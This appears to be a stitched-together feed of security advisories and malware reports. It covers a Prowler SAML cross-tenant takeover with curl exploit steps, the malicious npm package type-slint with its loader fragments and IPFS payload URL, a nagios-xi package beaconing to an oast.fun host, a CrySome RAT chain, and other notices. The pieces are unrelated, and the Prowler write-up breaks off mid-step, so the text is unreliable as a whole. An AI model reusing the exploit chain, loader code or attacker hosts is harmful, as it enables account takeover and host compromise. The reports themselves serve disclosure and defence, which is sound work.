The Sleuth Kit versions up to and including 4.15.0 have a NULL pointer dereference vulnerability in the decmpfs_decompress_lzvn_attr() function. This flaw can be triggered by supplying a crafted HFS+ image with a specially crafted LZVN inline com.apple.decmpfs attribute that sets a large uncompressed_size, causing allocation failure and a NULL pointer write. The vulnerability results in a denial of service by crashing the tool.
This is a malware campaign involving the Shadow HVNC and Shadow Loader kits, which are noted for robust license protection mechanisms. The campaign is identified by multiple file hashes and an IP address associated with the malware. There is no detailed technical information or evidence of active exploitation in the wild. The campaign's impact relates to potential unauthorized remote access or payload delivery through these malware tools. No patches or vendor advisories are available for remediation.
## SAML Tenant Binding Enables Cross-Tenant Account Takeover
### Summary
Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.
In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.
The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email_domain` and `SAMLDomainIndex.email_domain` are globally unique.
### Details
The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:
```python
email_domain = user.email.split("@")[-1]
tenant = (
SAMLConfiguration.objects.using(MainRouter.admin_db)
.get(email_domain=email_domain)
.tenant
)
```
This is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.
The attack is made possible by several compounding weaknesses:
1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email_domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.
2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.
3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social_login.py:23, 25`): `SOCIALACCOUNT_EMAIL_AUTHENTICATION = True` and `SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True` are hardcoded and cannot be disabled at runtime.
4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social_login.py:78`): `reject_idp_initiated_sso: False` allows the attacker to initiate the flow without requiring any action from the victim.
5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration.
6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.
### PoC
**Environment setup:**
```bash
# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit
```
**Automated test (runs inside the container):**
```bash
python -m pytest poc_vuln001.py -v -s --no-header --tb=short
```
**Manual HTTP exploitation chain (against a live Prowler API):**
**Step 1 - Attacker configures SAML for their own email domain:**
```bash
curl -i -X POST "$API/api/v1/saml-config" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/vnd.api+json" \
--data '{
"data":{"type":"saml-configurations","attributes":{
"email_domain":"attacker.com",
"metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
}}
}'
```
The attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.
**Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:**
```bash
# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
-X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
--data-urlencode "SAMLResponse=$SIGNED_ASSERTION"
```
**Step 3 - Vulnerable ACS finish logic derives
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (1b5cd26e040f4f4366ed65cca4b70258d276f781e0aab76b99b5573d4007a97d)
The npm package type-slint@3.3.7 masquerades as the pino logger (copied module layout, exports as module.exports.pino, keywords fast/logger/stream/json). Its index.js middleware() function spawns lib/caller.js as a detached, stdio-ignored child (spawn('node', [script,...], { detached: true, stdio: 'ignore' }); child.unref()), so the loader persists after the parent Node process exits. lib/caller.js fetches JavaScript from a Pinata IPFS gateway URL (bronze-improved-gibbon-411.mypinata.cloud/ipfs/bafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu) and evaluates the response body's.cookie field via new Function.constructor('require', s)(require), passing require in — this grants the fetched code full Node capabilities (filesystem, network, child_process, env). The fetch retries up to 5 times and console.log is restored to suppress traces. lib/caller.js and lib/const.js also carry base64-encoded strings labelled DEV_API_KEY that decode to jsonkeeper.com paste URLs (jsonkeeper.com/b/XRGF3, jsonkeeper.com/b/4NAKK), stored on a shadowed process object as a secondary configuration channel. The remote payload is attacker-controlled and mutable, and the executed content is fully attacker-defined at runtime.
## Source: ghsa-malware (1e7bb4cbe2c22cdfddf10e706f0c8c3bdb4a66ff9086be3da46e1f5a4c5ccf5e)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
A sophisticated multi-stage infection chain was analyzed following successful containment by MDR SOC operations. Initial access occurred through spear-phishing using a logistics rate confirmation lure, delivering CrySome remote access trojan via multiple stages. The attack chain leveraged living-off-the-land techniques, ICMLuaUtil COM interface for UAC bypass, and in-memory AMSI patching. WinDefCtl, an open-source Defender disruption tool, was deployed to weaken endpoint protections before the final payload. CrySome RAT established persistence through scheduled tasks and provided operators with capabilities including hidden VNC, remote command execution, system reconnaissance, and credential theft targeting Chromium-based browsers. The campaign demonstrated modern threat actors' reliance on publicly available tooling combined with legitimate Windows processes to minimize detection while achieving comprehensive system compromise.
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (9b69d4de9713d7ae9bd302d1d3c31b20aff669996e65a937ca0e7c2611a5f4af)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zzjinavcssvn/MAL-2026-9954.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (b83ca3c9fd023a1c13c6b2f6e9146e185b5596db3ff1248025f6bb1769298a83)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zvsvnxolbmd1sc9/MAL-2026-9816.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (f57cd195ba81ef114c73e4c6a6ff97c4463ec1a3d0b4ef377e2b5c6a1faa04be)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zsvnjin2a18dd/MAL-2026-9792.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (a7cb16e46311f41a8587f0e74be31d432942c4998211d318599bc131557c691f)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zsvnxc13572/MAL-2026-9793.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (76610681fd697adea642821297f8b6ea6cbd311455c192defb7c28f2e2dd690b)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zakoyavnjezx/MAL-2026-9560.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (7f2d3bfa6c9eb65651182f5832817106830034ce890c28ddb9b828d82a489e45)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/wwandsvn/MAL-2026-9495.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (10d349f14eff5b46424bbbb723a5a52afe4b6c97c7048410536fcfa09f715198)
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/chatoaitestsvn1778552651/MAL-2026-7575.json))
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (c11c80cc2d314460d61a649c84fd75881388470382be8183b77b362e562a5c7f)
On `import nagios_xi`, the package's `__init__.py` (lines 5-8) invokes `socket.gethostbyname("atlass-check.autaeqjhfowvnnmkwhxjtq8x39d8nder1.oast.fun")` inside a silent try/except. oast.fun is ProjectDiscovery's Interactsh out-of-band callback service; the DNS query itself is the exfiltration channel, confirming code execution on the installer's host and leaking the resolver IP to whoever controls the unique 32-character Interactsh subdomain. The package ships no actual functionality — it impersonates the Nagios XI commercial monitoring product (name `nagios-xi`, version `19.5.0` mimicking real Nagios XI versioning) while declaring an anonymous ProtonMail author (`Coding Team <pocbug@protonmail.com>`), a generic `package utility` description, and an empty README. The combination of brand impersonation, placeholder metadata, and an import-time OAST beacon as the package's sole behavior is reconnaissance for a supply-chain attack against developers searching for Nagios XI integrations.
## Source: kam193 (d8b27c2588accf4f2966f4630a12f9bfdc4ba621403f14237160632447152f23)
Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.
---
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
- The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
- The package overrides the install command in setup.py to execute malicious code during installation.